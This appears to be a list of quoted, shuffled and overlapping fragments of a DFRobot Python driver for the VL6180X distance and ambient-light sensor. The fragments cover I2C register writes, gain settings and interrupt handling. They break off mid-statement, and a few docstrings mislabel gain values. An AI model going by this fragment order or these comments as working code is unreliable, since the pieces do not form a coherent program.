"[0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c])",
"period_ms Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10)",
"@version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import",
"[self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt",
"VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID of the sensor VL6180X_ID = 0xB4",
"== self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return return ranging data",
"(c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version",
"VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD",
"__init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0",
"= self.__get_device_id() if device_id != self.VL6180X_ID: return False self.__init() return True ''' @brief",
"VL6180X_OUT_OF_WINDOW :value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready",
"VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS",
"mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging period",
"ranging period @param period_ms Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms >",
"range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve",
"1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain: VL6180X_ALS_GAIN_1 = 6",
"= value | ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable",
"underlying methods @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License",
"''' @brief A single range @return return ranging data ,uint mm ''' def",
":value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready '''",
"4 ''' @brief Module init @param bus Set to IICBus @param addr Set",
"als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured light data @return return",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"== self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain ==",
"elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain",
"[0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31])",
"thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode):",
"[0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17])",
"the success, false :Setup failed ''' def set_als_gain(self,gain): if(gain>7): return False if(gain ==",
"self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain | 0x40",
"the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02,",
"0x2A3 # The valid ID of the sensor VL6180X_ID = 0xB4 # 8",
"Module init @param bus Set to IICBus @param addr Set to IIC addr",
"Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550):",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return return ranging data ,uint mm",
"Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result '''",
"[0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05])",
"times gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times gain: VL6180X_ALS_GAIN_10 = 1 @n",
"enabled, INT high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by",
"VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START",
"''' def set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain",
"milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550): period_ms = (",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for measuring light intensity @param period_ms",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init",
"the interrupt state of the ranging @return return status @n 0 �?No threshold",
"= 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH =",
"@n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value >",
"range data @return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4",
"@brief Obtain measured light data @return return The light intensity,uint lux ''' def",
"[0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05])",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8,",
"( period_ms / 10 ) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) '''",
"return value ''' @brief Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) '''",
") self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8,",
"''' @brief Gets the interrupt state of the ranging @return return status @n",
"measurement of ambient light @return return The light intensity,uint lux ''' def als_poll_measurement(self):",
"VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times",
"= result & 0x07 return result ''' @brief Gets the interrupt state of",
"result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous measurement of ambient light",
"thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return",
"@brief set IIC addr @param addr The IIC address to be modified '''",
"thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self):",
"light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"[self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8,",
"[self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value @param thresholdL :Lower Threshold",
"@param gain the value of gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 =",
"= 0xB4 # 8 gain modes for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10",
"VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL",
"True succeed ;return False failed. ''' def begin(self): device_id = self.__get_device_id() if device_id",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for range data @return Authentication information",
"= 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR =",
"@param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt",
"VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE",
"gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the identifier",
"0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050",
"�?No threshold events reported @n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value >",
"state of the measured light intensity @return return status @n 0 �?No threshold",
"and enable the GPIO1 interrupt function @param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT",
"self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief",
"result = self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return result ''' @brief Gets",
"mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode for the ambient light",
"= 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init @param",
"''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging period @param",
"ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value =",
"@return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result",
"5 times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3",
"self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40):",
"0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B",
"period_ms = ( period_ms / 10 ) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8,",
"self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return result ''' @brief Gets the interrupt",
"= self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return result ''' @brief turn off",
"VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS",
"def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured light data @return",
"VL6180X_ALS_GAIN_10 = 1 @n 5 times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times",
"mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03])",
"== self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8,",
"self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime =100 ''' @brief",
"OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode): if(mode",
"value ''' @brief Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief",
"interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation",
"10 times gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times gain: VL6180X_ALS_GAIN_5 = 2",
"== self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True",
"false :Setup failed ''' def set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain",
"VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID of the sensor",
"@return true :Set up the success, false :Setup failed ''' def set_als_gain(self,gain): if(gain>7):",
",uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value '''",
"@brief Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the",
"0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040",
"10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5",
"gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times gain:",
"''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value",
"Configure the period for measuring light intensity @param period_ms Measurement period, in milliseconds",
"if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief",
",uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging",
"0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A",
"time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state",
"''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07",
"light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b =",
"0x07 return result ''' @brief turn off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8,",
"Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h):",
"@brief Set the ALS gain @param gain the value of gain(range 0-7) @n",
"GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor register",
"= 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain:",
"gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set up the success, false :Setup failed",
"@brief get the identifier of sensor @return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8,",
"self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return",
